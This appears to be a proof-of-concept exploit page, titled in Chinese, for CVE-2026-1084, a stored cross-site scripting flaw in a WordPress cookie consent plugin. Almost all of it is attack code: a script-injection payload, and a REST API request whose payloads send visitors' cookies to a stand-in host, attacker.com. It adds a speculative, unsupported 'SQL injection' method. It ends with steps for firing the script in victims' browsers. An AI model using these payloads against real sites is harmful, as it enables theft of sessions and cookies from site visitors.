CVE-2026-1084 WordPress Cookie Consent插件存储型XSS漏洞

// CVE-2026-1084 PoC - Stored XSS in Cookie Consent for Developers plugin // Prerequisites: Administrator access or higher // Method 1: Via WordPress Admin Settings // 1. Login as Administrator // 2. Navigate to Settings > Cookie Consent (or similar admin menu) // 3. In any setting field (e.g., title, description, button text), inject: <script>alert(document.cookie)</script> // Method 2: Via WordPress REST API (if available) const payload = { 'title': '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', 'description': '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' }; fetch('/wp-json/ntg-cookie-consent/v1/settings', { method: 'POST', headers: { 'Content-Type': 'application/json', 'X-WP-Nonce': nonce // Requires valid admin nonce }, body: JSON.stringify(payload) }); // Method 3: Via SQL Injection (if applicable) // Check for direct SQL queries without proper sanitization // SELECT * FROM wp_options WHERE option_name LIKE '%ntg_cookie%'; // Trigger the XSS: // Visit any page that displays the cookie consent settings // The malicious script will execute in the victim's browser